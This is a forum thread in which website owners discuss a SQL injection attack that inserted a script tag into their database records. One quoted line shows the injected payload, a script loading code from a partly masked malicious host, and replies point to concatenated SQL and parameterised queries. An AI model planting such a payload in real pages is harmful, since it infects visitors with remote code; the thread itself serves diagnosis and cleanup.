Did anybody know more information about this attack ?
I recently got this script injected in my web sites
By the way dont go on this web site since it’s the source of the infection
</title><script src=http://google-stats50.**fo/***.php>
What kind of attack is it, SQL or CODE ?
By the way dont go on this web site since it’s the source of the infection
The question is by what quind of attack this infectious attack occurs ?
We found it, and was not like twitter attack, it’s was by request parameters in a url and inject sql directly in the parameter.
There is the SQL script produce by our sql team to clean your database who was infected

Just happened to us as well. Almost every record in the database.
The best bet is to do the following: (we have just done this successfully)
That line will remove the script from each field. You will have to manually check the fields though and change the UPDATE statement to suit.
I am taking a guess that every one of you has a form on your website with a submit button. I am also guessing that the forms action involves a sql statement with concatenated sql?
If this is the case, you got SQL injection hacked and you should probably change all statements that use this syntax to “parameterised queries”
Hopefully this helps..
